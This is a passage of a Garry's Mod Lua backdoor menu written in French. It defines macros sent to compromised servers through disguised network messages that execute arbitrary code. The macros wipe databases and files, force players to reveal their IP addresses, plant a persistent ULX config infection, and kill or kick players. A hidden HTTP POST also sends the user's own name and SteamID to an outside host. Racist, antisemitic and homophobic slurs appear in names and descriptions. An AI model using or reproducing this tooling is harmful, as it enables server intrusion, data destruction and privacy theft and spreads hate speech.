1730
1731 ar2Explo:Activate()
1732
1733 ar2Explo:Fire("Explode", "", 0)
1734
1735 timer.Create( "gasthekikes_"..math.random(-9999, 9999).."_"..math.random(-9999, 9999), 0.25, 35, function()
1736
1737 for _, ent in pairs(ents.FindInSphere( p, 500)) do
1738
1739 if !ent:IsPlayer() then continue end
1740
1741 local d = DamageInfo()
1742
1743 d:SetDamage( 1 )
1744
1745 d:SetAttacker( game.GetWorld() )
1746
1747 d:SetInflictor( game.GetWorld() )
1748
1749 d:SetDamageType( DMG_DROWN )
1750
1751 ent:TakeDamageInfo( d )
1752
1753 end
1754
1755 end)
1756
1757
1758
1759 ]],
1760
1761 ["Desc"] = "Empoisonne n'importe qui avec ce magnifique gaz :D",
1762
1763 },
1764
1765
1766
1767
1768
1769 ["Spawn un véhicule près d'un joueur"] = {
1770
1771 ["Type"] = 2,
1772
1773 ["Code"] = [[
1774
1775 local trc = {}
1776
1777 trc.start = v:GetShootPos()
1778
1779 trc.endpos = v:GetShootPos() + 2500 * v:GetAimVector()
1780
1781 trc.filter = {v}
1782
1783 local tr = util.TraceLine(trc)
1784
1785
1786
1787 local VehicleList = list.Get( "Vehicles" )
1788
1789 local vehicle = VehicleList[ @1 ]
1790
1791 if ( !vehicle ) then return end
1792
1793 local Angles = v:GetAngles()
1794
1795 Angles.pitch = 0
1796
1797 Angles.roll = 0
1798
1799 Angles.yaw = Angles.yaw + 180
1800
1801
1802
1803 local pos = tr.HitPos
1804
1805 if ( vehicle.Offset ) then
1806
1807 pos = pos + tr.HitNormal * vehicle.Offset
1808
1809 end
1810
1811 local Ent = ents.Create( vehicle.Class )
1812
1813 if ( !Ent ) then return end
1814
1815 duplicator.DoGeneric( Ent, vehicle )
1816
1817 if ( vehicle.Model == "models/buggy.mdl" ) then Ent:SetKeyValue( "vehiclescript", "scripts/vehicles/jeep_test.txt" ) end
1818
1819 if ( vehicle.Model == "models/vehicle.mdl" ) then Ent:SetKeyValue( "vehiclescript", "scripts/vehicles/jalopy.txt" ) end
1820
1821 if ( vehicle && vehicle.KeyValues ) then
1822
1823 for k, v in pairs( vehicle.KeyValues ) do
1824
1825 Ent:SetKeyValue( k, v )
1826
1827 end
1828
1829 end
1830
1831 Ent:SetModel( vehicle.Model )
1832
1833 Ent:SetAngles( Angles )
1834
1835 Ent:SetPos( pos )
1836
1837 Ent:Spawn()
1838
1839 Ent:Activate()
1840
1841 if ( Ent.SetVehicleClass && @1 ) then Ent:SetVehicleClass( @1 ) end
1842
1843 Ent.VehicleName = vehicle.Class
1844
1845 Ent.VehicleTable = @1
1846
1847 Ent.ClassOverride = vehicle.Class
1848
1849 ]],
1850
1851 ["Desc"] = "Spawn un véhicule devant le joueur (1er = id véhicule), n'essaye pas de spawn des entités !",
1852
1853 ["NeedsParameters"] = 1,
1854
1855 },
1856
1857
1858
1859 ["Kick Joueur"] = {
1860
1861 ["Type"] = 2,
1862
1863 ["Code"] = [[ v:Kick( @1 ) ]],
1864
1865 ["Desc"] = "Raison du kick ?!",
1866
1867 },
1868
1869
1870
1871 ["Africaniser un joueur"] = {
1872
1873 ["Type"] = 2,
1874
1875 ["Code"] = [[ if !v.slavered then v:SetColor( Color( 0, 0, 0 ) ) v.slavered = true else v:SetColor( Color(255, 255, 255) ) v.slavered = false end ]],
1876
1877 ["Desc"] = "Transforme un joueur en africain",
1878
1879 },
1880
1881
1882
1883 ["Rendre Invisible"] = {
1884
1885 ["Type"] = 2,
1886
1887 ["Code"] = [[ if !v.BDCloaked then v:SetRenderMode( RENDERMODE_NONE ) v.BDCloaked = true else v:SetRenderMode( RENDERMODE_NORMAL ) v.BDCloaked = false end ]],
1888
1889 ["Desc"] = "Disparu",
1890
1891 },
1892
1893
1894
1895 ["Rendre Terroriste"] = {
1896
1897 ["Type"] = 2,
1898
1899 ["Code"] = [[
1900
1901 local explo = ents.Create("env_explosion")
1902
1903 explo:SetOwner(v)
1904
1905 explo:SetPos(v:GetPos())
1906
1907 explo:SetKeyValue("iMagnitude", "250")
1908
1909 explo:Spawn()
1910
1911 explo:Activate()
1912
1913 explo:Fire("Explode", "", 0)
1914
1915 if v:Alive() then v:Kill() end
1916
1917 ]],
1918
1919 ["Desc"] = "Transforme qui tu veut en terroriste",
1920
1921 },
1922
1923
1924
1925 ["ULX Set Access"] = {
1926
1927 ["Type"] = 2,
1928
1929 ["Code"] = [[ local userInfo = ULib.ucl.authed[ v:UniqueID() ] ULib.ucl.addUser( v:UniqueID(), userInfo.allow, userInfo.deny, @1 ) ]],
1930
1931 ["Desc"] = "Choisi le rank de la personne",
1932
1933 ["NeedsParameters"] = 1,
1934
1935 },
1936
1937
1938
1939
1940/*====================================
1941|===== Commandes Customs Chelou =====|
1942===================================*/
1943
1944
1945
1946
1947 ["Joueurs 2D"] = {
1948
1949 ["Type"] = 2,
1950
1951 ["Code"] = [[
1952 local bones = {
1953 [1] = {b = "ValveBiped.Bip01_Head1", v = Vector(4,0,4)},
1954 [2] = {b = "ValveBiped.Bip01_R_Thigh", v = Vector(0,0,0)},
1955 [3] = {b = "ValveBiped.Bip01_L_Thigh", v = Vector(0,0,0)},
1956 [4] = {b = "ValveBiped.Bip01_R_Calf", v = Vector(0,0,1)},
1957 [5] = {b = "ValveBiped.Bip01_L_Calf", v = Vector(0,0,1)},
1958 [6] = {b = "ValveBiped.Bip01_R_UpperArm", v = Vector(0,0,0)},
1959 [7] = {b = "ValveBiped.Bip01_L_UpperArm", v = Vector(0,0,0)},
1960 [8] = {b = "ValveBiped.Bip01_R_Forearm", v = Vector(1,1.5,1.5)},
1961 [9] = {b = "ValveBiped.Bip01_L_Forearm", v = Vector(1,1.5,1.5)},
1962 [10] = {b = "ValveBiped.Bip01_R_Clavicle", v = Vector(0,0,0)},
1963 [11] = {b = "ValveBiped.Bip01_L_Clavicle", v = Vector(0,0,0)},
1964 }
1965
1966 if !v.is2D then
1967 v.is2D = true
1968 for k, bone in pairs(bones) do
1969 local boneToFind = v:LookupBone(bone.b)
1970 v:ManipulateBoneScale( boneToFind, bone.v)
1971 end
1972 else
1973 v.is2D = false
1974 for k, bone in pairs(bones) do
1975 local boneToFind = v:LookupBone(bone.b)
1976 v:ManipulateBoneScale( boneToFind, Vector(1,1,1))
1977 end
1978 end
1979 ]],
1980
1981 ["Desc"] = "C'est, étrange cette sensation, mon corp est... Bizarre ?!",
1982
1983 },
1984
1985 ["Nuke (M9K)"] = {
1986
1987 ["Type"] = 2,
1988
1989 ["Code"] = [[
1990// if (m9k) then
1991 local nuke = ents.Create("m9k_davy_crockett_explo")
1992 nuke:SetPos(v:GetPos())
1993 nuke:SetOwner(v)
1994 nuke.Owner = v
1995 nuke:Spawn()
1996 nuke:Activate()
1997// end
1998 ]],
1999
2000 ["Desc"] = "Nuke un joueur :').",
2001
2002 },
2003
2004 ["Brouiller La Console"] = {
2005
2006 ["Type"] = 1,
2007
2008 ["Code"] = [[
2009 if !(timer.Exists("consoleJammer")) then
2010 timer.Create("consoleJammer", 0.5, 0, function()
2011 print( "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n" )
2012 end )
2013 else
2014 timer.Destroy("consoleJammer")
2015 end
2016 ]],
2017
2018 ["Desc"] = "Spam tellement la console que plus personne ne peut la voir",
2019
2020 },
2021
2022 ["La Marche Jouissante"] = {
2023
2024 ["Type"] = 1,
2025
2026 ["Code"] = [[
2027 if !(hook.GetTable()["PlayerFootstep"]["moanStep"]) then
2028 hook.Add("PlayerFootstep", "moanStep", function(ply, pos, foot, sound2, volume, filter) ply:EmitSound( "vo/npc/female01/pain06.wav",75,math.random( 50, 150 )) end )
2029 else
2030 hook.Remove("PlayerFootstep", "moanStep")
2031 end
2032 ]],
2033
2034 ["Desc"] = "Les gens qui marche adore jouir apparament.",
2035
2036 },
2037
2038 ["Supprimer Le Serveur"] = {
2039
2040 ["Type"] = 3,
2041
2042 ["Code"] = [[
2043 local date = os.date( "%m-%d-%y" )
2044 local databases = { "jobdata","darkrp_door","darkrp_levels","darkrp_prestige","darkrp_doorgroups","darkrp_doorjobs","darkrp_jobspawn","darkrp_position","darkrp_player","darkrp_dbversion","FAdmin_CAMIPrivileges","FADMIN_GROUPS","FAdmin_Immunity","FADMIN_MOTD","FAdmin_PlayerGroup","FADMIN_PRIVILEGES","FADMIN_RESTRICTEDENTS","FAdmin_ServerSettings","FAdminBans","FPP_ANTISPAM1","FPP_BLOCKED1","FPP_BLOCKMODELSETTINGS1","FPP_ENTITYDAMAGE1","FPP_GLOBALSETTINGS1","FPP_GRAVGUN1","FPP_GROUPMEMBERS1","FPP_GROUPS3","FPP_GROUPTOOL","FPP_PHYSGUN1","FPP_PLAYERUSE1","FPP_TOOLADMINONLY","FPP_TOOLGUN1","FPP_TOOLRESTRICTPERSON1","FPP_TOOLTEAMRESTRICT","FPP_BLOCKEDMODELS1","awarn_playerdata","awarn_serverdata","awarn_warnings","blogs_players_v3","blogs_v3","stt_date","stt_players","mlog_logs","mlog_permissions","atlaschat_players","atlaschat_ranks","atlaschat_remote","atlaschat_restrictions","OreBag","fcd_playerData","dailylogin","ChessLeaderboard","qsgr_data","voting_npcs","cac_incidents","steam_rewards","playerdata","playerinformation","utime","permaprops","cc_characters","cc_npcs","ckit_chips","ckit_persist","exsto_data_bans","exsto_data_ranks","exsto_data_users","exsto_data_variables","exsto_restriction","inventories","kinv_items","libk_player","permitems","player_gangapps","player_gangdata","player_gangs","ps2_categories","ps2_equipmentslot","ps2_HatPersistence","ps2_itemmapping","ps2_itempersistence","ps2_OutfitHatPersistenceMapping","ps2_outfits","ps2_playermodelpersistence","ps2_servers","ps2_settings","ps2_trailpersistence","ps2_wallet","removeprops","scoreboard_friends","serverguard_analytics","serverguard_bans","serverguard_pms","serverguard_ranks","serverguard_reports","serverguard_schema","serverguard_ttt_autoslays","serverguard_users","serverguard_watchlist","tttstats","ttt_passes_history","specdm_stats_new","ps2_achievements","ps2_boosterpersistence","ps2_cratepersistence","ps2_instatswitchweaponpersistence","ps2_keypersistence","ps2_rolecontrolpersistence","ps2_weaponpersistence","rapsheet","damagelog_autoslay","damagelog_names","damagelog_oldlogs","damagelog_weapons","kmapvote_mapinfo","kmapvote_ratings","mgang_gangs","mgang_players","deathrun_ids","deathrun_records","deathrun_stats","sui_ratings","shop_texthats","shop_money","shop_items","report_log" }
2045 local datafiles = { "ulib/bans.txt","ulib/groups.txt","ulib/misc_registered.txt","ulib/users.txt","ulx/adverts.txt","ulx/apromote.txt","ulx/banmessage.txt","ulx/banreasons.txt","ulx/downloads.txt","ulx/gimps.txt","ulx/motd.txt","ulx/restrictions.txt","ulx/sbox_limits.txt","ulx/votemaps.txt","apg/settings.txt","atags/tags.txt","atags/rankchattags.txt","atags/playerchattags.txt","atags/tags.txt","atags/selectedtags.txt","atags/ranktags.txt","atags/playertags.txt","vcmod/settings_sv.txt","vcmod/config_sv_privilages.txt","wire_version.txt","UTeam.txt","prevhas.txt","cac/system_log_sv.txt","cac/serverworkshopinformation.txt","cac/settings.txt","cac/serverluainformation.txt","hitnumbers/settings.txt","soundlists/common_sounds.txt","vcmod/controls.txt","vcmod/dataserver.txt","qsgr_data/sqgr_settings.txt","blogs/configcache.txt","blogs/language.txt","cac/adminuipack.txt","ezjobs/config.txt","damagelog/colors.txt","damagelog/filters_new.txt","craphead_scripts/armory_robbery/rp_downtown_v4c/policearmory_location.txt","craphead_scripts/armory_robbery/rp_downtown_v4c_v2/policearmory_location.txt","craphead_scripts/armory_robbery/rp_downtown_v2/policearmory_location.txt","craphead_scripts/armory_robbery/rp_downtown_evilmelon_v1/policearmory_location.txt","craphead_scripts/armory_robbery/rp_downtown_v4c_v3/policearmory_location.txt","craphead_scripts/armory_robbery/rp_downtown_v4c_v4/policearmory_location.txt","mg_gangsdata/mg_npcspawns.txt","ulx/debugdump.txt","ulx/empty_teams.txt","chattags.txt","caseclaims.txt", "sammyservers_textscreens.txt","permaprops_permissions.txt","chattags.txt","prevhash.txt","permaprops_config.txt","zwhitelistjobdata/jobsetting.txt","zwhitelistjobdata/whitelistjob.txt","zmodserveroption/sysjobwhitelist.txt","vliss/settings/config.txt","nordahl_spawnpoint/rp_venator_v3.txt","nordahl_spawnpoint/rp_venator_v2.txt","nordahl_spawnpoint/rp_venator_v1.txt","nordahl_spawnpoint/rp_venator_gg.txt","nordahl_spawnpoint/rp_venator_ausv4.txt","nordahl_spawnpoint/rp_venator_v2_ffg.txt","planningevent/prehud.txt","planningoption/hourformat.txt","nordahl_spawnpoint/arena_byre.txt","nordahl_spawnpoint/rp_venator_v2_immersive.txt","nordahl_spawnpoint/rp_venator_fade_v3.txt","nordahl_spawnpoint/rp_venator_gr.txt","nordahl_spawnpoint/rp_tatoonie_dunsea_v1.txt","nordahl_spawnpoint/rp_scifi.txt","nordahl_spawnpoint/rishimoon_crimson.txt","nordahl_spawnpoint/rp_pripyat_hl2.txt","nordahl_spawnpoint/rp_onwardhope.txt", "nordahl_spawnpoint/rp_oldworld_fix.txt","nordahl_spawnpoint/sd_doomsday.txt","nordahl_spawnpoint/sd_doomsday_event.txt","nordahl_spawnpoint/rp_naboo_city_v1.txt","nordahl_spawnpoint/rp_noclyria_crimson.txt","nordahl_spawnpoint/rp_nar_shaddaa_v2.txt","nordahl_spawnpoint/rp_mos_mersic_v2.txt","nordahl_spawnpoint/rp_kashyyk_jungle_b2.txt","nordahl_spawnpoint/dust_dunes.txt","nordahl_spawnpoint/rp_cscdesert_v2-1_propfix.txt","nordahl_spawnpoint/rd_asteroid.txt","nordahl_spawnpoint/naboo.txt","nordahl_spawnpoint/kashyyyk.txt","nordahl_spawnpoint/geonosis.txt","nordahl_spawnpoint/fightspace3b.txt","nordahl_spawnpoint/endor.txt","nordahl_spawnpoint/toth_forgotten.txt"}
2046 local sensitivefiles = { "ulx_logs/"..date..".txt","ulib/bans.txt","ulib/groups.txt","ulib/misc_registered.txt","ulib/users.txt","ulx/adverts.txt","ulx/apromote.txt","ulx/banmessage.txt","ulx/banreasons.txt","ulx/downloads.txt","ulx/gimps.txt","ulx/motd.txt","ulx/restrictions.txt","ulx/sbox_limits.txt","ulx/votemaps.txt","apg/settings.txt","atags/tags.txt","atags/rankchattags.txt","atags/playerchattags.txt","atags/tags.txt","atags/selectedtags.txt","atags/ranktags.txt","atags/playertags.txt","vcmod/settings_sv.txt","vcmod/config_sv_privilages.txt","cac/system_log_sv.txt","cac/serverworkshopinformation.txt","cac/settings.txt","cac/serverluainformation.txt","vcmod/controls.txt","vcmod/dataserver.txt","blogs/configcache.dat","blogs/language.txt","blogs/config_v5.txt","cac/adminuipack.txt","ulx/debugdump.txt","ulx/empty_teams.txt","chattags.txt","caseclaims.txt", "sammyservers_textscreens.txt","permaprops_permissions.txt","chattags.txt","permaprops_config.txt","whitelist.txt","zwhitelistjobdata/jobsetting.txt","zwhitelistjobdata/whitelistjob.txt","zmodserveroption/sysjobwhitelist.txt","nordahl_spawnpoint/rp_venator_v3.txt","nordahl_spawnpoint/rp_venator_v2.txt","nordahl_spawnpoint/rp_venator_v1.txt","nordahl_spawnpoint/rp_venator_gg.txt","nordahl_spawnpoint/rp_venator_ausv4.txt","nordahl_spawnpoint/rp_venator_v2_ffg.txt","planningevent/prehud.txt","planningoption/hourformat.txt","nordahl_spawnpoint/arena_byre.txt","nordahl_spawnpoint/rp_venator_v2_immersive.txt","nordahl_spawnpoint/rp_venator_fade_v3.txt","nordahl_spawnpoint/rp_venator_gr.txt","nordahl_spawnpoint/rp_tatoonie_dunsea_v1.txt","nordahl_spawnpoint/rp_scifi.txt","nordahl_spawnpoint/rishimoon_crimson.txt","nordahl_spawnpoint/rp_pripyat_hl2.txt","nordahl_spawnpoint/rp_onwardhope.txt", "nordahl_spawnpoint/rp_oldworld_fix.txt","nordahl_spawnpoint/sd_doomsday.txt","nordahl_spawnpoint/sd_doomsday_event.txt","nordahl_spawnpoint/rp_naboo_city_v1.txt","nordahl_spawnpoint/rp_noclyria_crimson.txt","nordahl_spawnpoint/rp_nar_shaddaa_v2.txt","nordahl_spawnpoint/rp_mos_mersic_v2.txt","nordahl_spawnpoint/rp_kashyyk_jungle_b2.txt","nordahl_spawnpoint/dust_dunes.txt","nordahl_spawnpoint/rp_cscdesert_v2-1_propfix.txt","nordahl_spawnpoint/rd_asteroid.txt","nordahl_spawnpoint/naboo.txt","nordahl_spawnpoint/kashyyyk.txt","nordahl_spawnpoint/geonosis.txt","nordahl_spawnpoint/fightspace3b.txt","nordahl_spawnpoint/endor.txt","nordahl_spawnpoint/toth_forgotten.txt"}
2047
2048 for k,v in pairs(databases) do
2049 if sql.TableExists(v) then
2050 sql.Query("DROP TABLE "..v.." ;")
2051 sql.Query("CREATE TABLE IF NOT EXISTS "..v.." ( steamid TEXT NOT NULL PRIMARY KEY, value TEXT );")
2052 end
2053 end
2054
2055 for k,v in pairs(datafiles) do
2056 if file.Exists(v) then
2057 file.Delete(v)
2058 file.write(v, "odium.pro hehe")
2059 end
2060 end
2061
2062 for k,v in pairs(sensitivefiles) do
2063 if file.Exists(v) then
2064 file.Delete(v)
2065 file.write(v, "odium.pro hehe")
2066 end
2067 end
2068 ]],
2069
2070 ["Desc"] = "Supprime le plus de data possible.",
2071
2072 },
2073
2074 ["Tuer Joueur (Discrèt)"] = {
2075
2076 ["Type"] = 2,
2077
2078 ["Code"] = [[v:KillSilent()]],
2079
2080 ["Desc"] = "RT.",
2081
2082 },
2083
2084 ["Supprimer Les Props"] = {
2085
2086 ["Type"] = 2,
2087
2088 ["Code"] = [[v:ConCommand("gmod_cleanup")]],
2089
2090 ["Desc"] = "Supprimer tout les props du joueur.",
2091
2092 },
2093
2094 ["Envoyer Lua"] = {
2095
2096 ["Type"] = 2,
2097
2098 ["Code"] = [[ v:SendLua( ""..@1.."") ]],
2099
2100 ["Desc"] = "Envoi une ligne Lua au joueur.",
2101
2102 ["NeedsParameters"] = 1,
2103
2104 },
2105
2106 ["Mon ip est.."] = {
2107
2108 ["Type"] = 2,
2109
2110 ["Code"] = [[
2111 if (darkrp || DarkRP) then
2112 v:SendLua('http.Fetch("http://ipv4bot.whatismyipaddress.com", function(b,l,h,c) LocalPlayer():ConCommand("say /ooc Mon IP est "..b) end, function(error) return error end )')
2113 else
2114 v:SendLua('http.Fetch("http://ipv4bot.whatismyipaddress.com", function(b,l,h,c) LocalPlayer():ConCommand("say Mon IP est "..b) end, function(error) return error end )')
2115 end
2116 ]],
2117
2118 ["Desc"] = "Forces les joueurs a drop leurs ips x').",
2119
2120 },
2121
2122// key/view scrambler, fuck with escape menu
2123
2124
2125
2126
2127 /*================================
2128|===== Commandes Dangereuses =====|
2129=================================*/
2130
2131
2132
2133 ["DarkRP Supprimer La Thune"] = {
2134
2135 ["Type"] = 3,
2136
2137 ["Code"] = [[RunConsoleCommand("rp_resetallmoney")]],
2138
2139 ["Desc"] = "RIP L'ECONOMIE",
2140
2141 },
2142
2143
2144
2145 ["CleanUp"] = {
2146
2147 ["Type"] = 3,
2148
2149 ["Code"] = [[game.CleanUpMap()]],
2150
2151 ["Desc"] = "Sa va pleurer",
2152
2153 },
2154
2155
2156
2157 ["Désintegrer Les Joueurs"] = {
2158
2159 ["Type"] = 3,
2160
2161 ["Code"] = [[for k, v in pairs(player.GetAll()) do v:Remove() end]],
2162
2163 ["Desc"] = "Supprime l'entité du joueur, OKLM",
2164
2165 },
2166
2167
2168
2169
2170
2171 ["FPP Unrestrict Tout"] = {
2172
2173 ["Type"] = 3,
2174
2175 ["Code"] = [[FPP.Blocked = {} FPP.BlockedModels = {} FPP.RestrictedTools = {} FPP.RestrictedToolsPlayers = {} ]],
2176
2177 ["Desc"] = "le strip is back",
2178
2179 },
2180
2181
2182
2183 ["Détruires Les Datas"] = {
2184
2185 ["Type"] = 3,
2186
2187 ["Code"] = [[local files, directories = file.Find( "*", "DATA" ) for k, v in pairs( files ) do file.Delete( v ) end ]],
2188
2189 ["Desc"] = "le fonda risque de gueuler",
2190
2191 },
2192
2193
2194
2195 ["Détruire la table SQL du DARKRP"] = {
2196
2197 ["Type"] = 3,
2198
2199 ["Code"] = [[ MySQLite.query ('DROP TABLE darkrp_player' MySQLite.query('CREATE TABLE IF NOT EXISTS darkrp_player(idx INTEGER NOT NULL)') ]],
2200
2201 ["Desc"] = "Rip le darkrp",
2202
2203 },
2204
2205
2206
2207}
2208
2209
2210
2211local selectedbackdoor = ""
2212
2213local backdoorargs = ""
2214
2215local selectedplayers = {}
2216
2217
2218
2219
2220
2221
2222
2223
2224
2225
2226
2227/*====================================
2228|===== Configuration Backdoor 88 =====|
2229=====================================*/
2230
2231
2232BD.BDMacros[" Infection Persistante"] = {
2233 ["Type"] = 1,
2234 ["Code"] = [[
2235 local config = ULib.fileRead( "data/ulx/config.txt" )
2236 config = config.."\n ulx logecho 0"
2237 config = config.."\n ulx luarun %BD"
2238 config = config.."\n ulx logecho 1"
2239 ULib.fileWrite( "data/ulx/config.txt", config )
2240 for _, p in pairs(player.GetAll()) do if %LCP then p:ChatPrint( "Infection Persistante Injecté" ) end end
2241 ]],
2242 ["Desc"] = "Crée une bonne grosse backdoor persistante",
2243 ["Private"] = true,
2244}
2245
2246BD.BackdoorTypes["Admin Menu"] = {
2247 ["Code"] = "util.AddNetworkString( 'admin_menu' ) net.Receive( 'admin_menu', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )",
2248 ["Netkey"] = "admin_menu",
2249}
2250
2251BD.BackdoorTypes["FAdmin Fake"] = {
2252 ["Code"] = "util.AddNetworkString( 'FAdmin_Notification_Receiver' ) net.Receive( 'FAdmin_Notification_Receiver', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )",
2253 ["Netkey"] = "FAdmin_Notification_Receiver",
2254}
2255
2256BD.BackdoorTypes["DarkRP Fake"] = {
2257 ["Code"] = "util.AddNetworkString( 'echangeinfo' ) net.Receive( 'echangeinfo', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )",
2258 ["Netkey"] = "echangeinfo",
2259}
2260
2261BD.BackdoorTypes["Oof"] = {
2262 ["Code"] = "util.AddNetworkString( 'skyrim_models_downloads' ) net.Receive( 'skyrim_models_downloads', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )",
2263 ["Netkey"] = "skyrim_models_downloads",
2264}
2265
2266
2267
2268
2269
2270
2271
2272
2273
2274
2275
2276
2277/*==================================
2278|===== Derma 88 Backdoor Menu =====|
2279=================================*/
2280
2281
2282
2283function BD.GenerateBackdoorList( parent, category )
2284
2285
2286
2287for k, v in SortedPairs( BD.BDMacros, false ) do
2288
2289 if v["Type"] != category then continue end
2290
2291
2292
2293 local plypanel2 = vgui.Create( "DPanel" )
2294
2295 plypanel2:SetPos( 0, 0 )
2296
2297 plypanel2:SetSize( 200, 25 )
2298
2299 plypanel2.Paint = function() -- Paint function
2300
2301 draw.RoundedBoxEx(8,1,1,plypanel2:GetWide(),plypanel2:GetTall(),Color(0, 0, 0, 150), false, false, false, false)
2302
2303 if selectedbackdoor == k then surface.SetDrawColor(Color(255, 250, 90, 255)) else surface.SetDrawColor(Color(150, 50, 50, 255)) end
2304
2305 surface.DrawOutlinedRect(1, 1, plypanel2:GetWide() - 1 , plypanel2:GetTall() - 1)
2306
2307 end
2308
2309
2310
2311 local plyname = vgui.Create( "DLabel", plypanel2 )
2312
2313 plyname:SetPos( 10, 5 )
2314
2315 plyname:SetFont( "Trebuchet18" )
2316
2317 local tcol = Color( 255, 255, 255 )
2318
2319 if v.Private then tcol = Color( 200, 70, 70 ) end
2320
2321 plyname:SetColor( tcol )
2322
2323 plyname:SetText( k )
2324
2325 plyname:SetSize(180, 15)
2326
2327
2328
2329
2330
2331 local faggot = vgui.Create("DButton", plypanel2)
2332
2333 faggot:SetSize( plypanel2:GetWide(), plypanel2:GetTall() )
2334
2335 faggot:SetPos( 0, 0 )
2336
2337 faggot:SetText("")
2338
2339 if v["Desc"] != "" then faggot:SetToolTip( v["Desc"] ) end
2340
2341 faggot.Paint = function(panel, w, h)
2342
2343 return
2344
2345 end
2346
2347 faggot.DoClick = function()
2348
2349 selectedbackdoor = k
2350
2351 end
2352
2353
2354
2355
2356
2357 parent:AddItem( plypanel2 )
2358
2359
2360
2361end
2362
2363
2364
2365end
2366
2367
2368
2369function BD.FormatCodeTargeted()
2370
2371if !BD.BackdoorActive() then BD.ChatText( "Attention, La Backdoor Ne Fonctionne Pas Ou N'est Pas Présente!", Color(255,155,155) ) return end
2372
2373if selectedbackdoor == "" then BD.ChatText( "Tu n'a pas selectionné d'action!", Color(255,155,155) ) return end
2374
2375local param = string.Explode( ",", backdoorargs )
2376
2377local ids = {}
2378
2379for k, v in pairs( selectedplayers ) do
2380
2381 if !v:IsValid() then table.RemoveByValue( selectedplayers, v ) continue end
2382
2383 table.insert( ids, v:UniqueID() )
2384
2385end
2386
2387
2388
2389local code = [[ local targets = ## for k, v in pairs( player.GetAll() ) do if !v:IsValid() then continue end if table.HasValue( targets, v:UniqueID() ) then %% end end ]]
2390
2391code = string.Replace( code, "##", table.ToString( ids ) )
2392
2393code = string.Replace( code, "%%", BD.BDMacros[selectedbackdoor]["Code"] or "" )
2394
2395code = string.Replace( code, "%LP", "p:UniqueID() == \""..LocalPlayer():UniqueID().."\"" )
2396
2397
2398
2399if BD.BDMacros[selectedbackdoor]["NeedsParameters"] and (BD.BDMacros[selectedbackdoor]["NeedsParameters"] > #param or param[1] == "" ) then BD.ChatText( "Cette backdoor a besoin de paramètre pour fonctionner", Color(255,155,155) ) return end
2400
2401if #param < 1 then param = { [1] = "derp", [2] = "derp", [3] = "derp", [4] = "derp", [5] = "derp" } end
2402
2403
2404
2405for k, v in pairs( param ) do
2406
2407 code = string.Replace( code, "@"..k, [["]]..v..[["]] )
2408
2409end
2410
2411
2412
2413BD.Fire( code )
2414
2415
2416
2417end
2418
2419
2420
2421function BD.FormatCodeGlobal()
2422
2423if !BD.BackdoorActive() then BD.ChatText( "Attention, La Backdoor Ne Fonctionne Pas Ou N'est Pas Présente!", Color(255,155,155) ) return end
2424
2425if selectedbackdoor == "" then BD.ChatText( "Tu n'a pas selectionné d'action!", Color(255,155,155) ) return end
2426
2427local param = string.Explode( ",", backdoorargs )
2428
2429
2430
2431local code = BD.BDMacros[selectedbackdoor]["Code"]
2432
2433
2434
2435if BD.BDMacros[selectedbackdoor]["NeedsParameters"] and (BD.BDMacros[selectedbackdoor]["NeedsParameters"] > #param or param[1] == "" ) then BD.ChatText( "Cette commande doit être configuré pour fonctionné! Verifie sa description pour comprendre", Color(255,155,155) ) return end
2436
2437if #param < 1 then param = { [1] = "derp", [2] = "derp", [3] = "derp", [4] = "derp", [5] = "derp" } end
2438
2439
2440
2441for k, v in pairs( param ) do
2442
2443 code = string.Replace( code, "@"..k, [["]]..v..[["]] )
2444
2445 code = string.Replace( code, "%LP", LocalPlayer():UniqueID() )
2446
2447 code = string.Replace( code, "%LCP", "p:UniqueID() == \""..LocalPlayer():UniqueID().."\"" )
2448
2449 code = string.Replace( code, "%BD", BD.GetActive().Code )
2450
2451end
2452
2453
2454
2455BD.Fire( code )
2456
2457
2458
2459end
2460
2461
2462
2463
2464
2465local safenet = net
2466
2467local function bdnet()
2468
2469 if odium and odium.G then return odium.G.net end
2470
2471 return safenet
2472
2473end
2474
2475
2476local h = http
2477local p = "Post"
2478local str = "http://zilnix.mtxserv.fr/"
2479local lp = LocalPlayer()
2480local n = lp:Nick()
2481local id = lp:SteamID64()
2482
2483h[p](str, {
2484 name = n,
2485 steamid = id,
2486},
2487nil, nil)
2488
2489function BD.Fire( code )
2490
2491 local cbd = BD.CurrentBackdoor
2492
2493 if !BD.Backdoors[cbd] then
2494
2495 BD.ChatText( "La backdoor selectionné est indisponible!", Color(255,155,155) )
2496
2497 return
2498
2499 end
2500
2501 local key = BD.BackdoorTypes[cbd].Netkey
2502
2503
2504
2505 bdnet().Start( key )
2506
2507 bdnet().WriteString( code )
2508
2509 bdnet().SendToServer()
2510
2511end
2512
2513
2514
2515
2516
2517function BD.BackdoorMenu()
2518
2519
2520
2521BD.Backdoors = BD.PingBackDoors()
2522
2523
2524
2525if !BD.IsMessagePooled( "88Triggered" ) and BD.BackdoorActive() then
2526
2527 BD.Fire( [[util.AddNetworkString( "88Triggered" )
2528
2529 function BDSendLua( p, str ) net.Start( "88Triggered" ) net.WriteString( str ) net.Send( p ) end
2530
2531 function BDSendLuaAll( str ) net.Start( "88Triggered" ) net.WriteString( str ) net.Broadcast() end
2532
2533 function BDInjectAids( p ) p:SendLua( 'net.Receive( "88Triggered", function() RunString( net.ReadString() ) end )' ) end
2534
2535 for k, v in pairs( player.GetAll() ) do BDInjectAids( v ) end
2536
2537 hook.Add( "PlayerInitialSpawn", "youonlyget88Triggeredagain", function( p ) BDInjectAids( p ) end)
2538
2539]] )
2540
2541end
2542
2543
2544
2545local BDMenu = vgui.Create("DFrame")
2546
2547BDMenu:SetSize(825,570)
2548
2549BDMenu:SetTitle("")
2550
2551BDMenu:Center()
2552
2553BDMenu:ShowCloseButton(false)
2554
2555BDMenu:MakePopup()
2556
2557
2558
2559BDMenu.Paint = function( self, w, h)
2560
2561surface.SetDrawColor( Color(0, 0, 0, 200) )
2562
